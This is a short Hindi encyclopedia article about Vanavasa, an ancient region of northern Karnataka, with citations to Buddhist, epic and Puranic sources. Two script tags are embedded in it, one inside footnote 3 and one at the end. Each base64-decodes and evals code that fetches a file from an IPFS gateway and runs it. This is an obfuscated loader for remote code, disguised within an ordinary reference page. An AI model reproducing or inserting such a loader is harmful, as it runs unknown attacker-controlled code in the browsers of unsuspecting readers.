वनवास (प्रदेश)

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

वनवास अथवा 'वनवासी' नामक एक प्रदेश का उल्लेख बौद्ध धार्मिक ग्रन्थ 'महावंश'[1] में हुआ है, जिसका अभिज्ञान वर्तमान मैसूर के उत्तरी भाग[2] से किया गया है।[3]

  • 'महावंश' के उल्लेख से जान पड़ता है कि मौर्य शासक अशोक के शासन काल में मोग्गलीपुत्र ने रक्षित नामक एक स्थविर को बौद्ध धर्म के प्रचारार्थ यहाँ भेजा था।
  • महाभारत में सम्भवत: इसी प्रदेश के निवासियों को 'वनवासी' कहा गया है-

'तिमिंगलं च स नृपं वशेकृत्वा महामतिः, एकपादांश्च पुरुषान, केरलान् वनवासिनः।'[4]

  • वायुपुराण[5] और हरिवंशपुराण[6] में भी इस प्रदेश का उल्लेख है।
  • वनवासी या वनवास जनपद का उल्लेख शातकर्णी नरेशों (द्वितीय शती ई.) के अभिलेखों में भी है। यहाँ इन आंध्र राजाओं के अमात्य का मुख्य स्थान था।
  • वनवास प्रदेश का वर्णन 'दशकुमारचरित' के 8वें उच्छ्वास में भी आया है।
  • 'बृहत्संहिता'[7] में वनवासी को दक्षिण में स्थित बताया गया है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. महावंश 12, 4
  2. उत्तर कनारा
  3. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 831 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. महाभारत, सभापर्व 31, 69
  5. वायुपुराण 45, 125
  6. हरिवंशपुराण 95
  7. बृहत्संहिता 14, 12

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>